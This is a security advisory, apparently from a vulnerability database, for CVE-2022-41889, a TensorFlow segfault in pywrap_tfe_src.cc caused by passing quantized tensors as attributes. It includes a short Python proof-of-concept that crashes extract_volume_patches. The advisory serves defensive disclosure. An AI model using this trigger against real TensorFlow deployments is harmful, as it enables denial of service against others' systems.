CVE-2022-41889: Segfault via invalid attributes in `pywrap_tfe_src.cc`
(updated )
If a list of quantized tensors is assigned to an attribute, the pywrap code fails to parse the tensor and returns a nullptr, which is not caught. An example can be seen in tf.compat.v1.extract_volume_patches by passing in quantized tensors as input ksizes.
import numpy as np
import tensorflow as tf
a_input = np.array([1, -1], dtype= np.int32)
a_ksizes = a_strides = tf.constant(dtype=tf.dtypes.qint16, value=[[1, 4], [5, 2]])
tf.compat.v1.extract_volume_patches(input=a_input,ksizes=a_ksizes,strides=a_strides,padding='VALID')
References
- github.com/advisories/GHSA-xxcj-rhqg-m46g
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/generate_box_proposals_op.cu.cc
- github.com/tensorflow/tensorflow/commit/e9e95553e5411834d215e6770c81a83a3d0866ce
- github.com/tensorflow/tensorflow/security/advisories/GHSA-xxcj-rhqg-m46g
- nvd.nist.gov/vuln/detail/CVE-2022-41889
Code Behaviors & Features
Detect and mitigate CVE-2022-41889 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →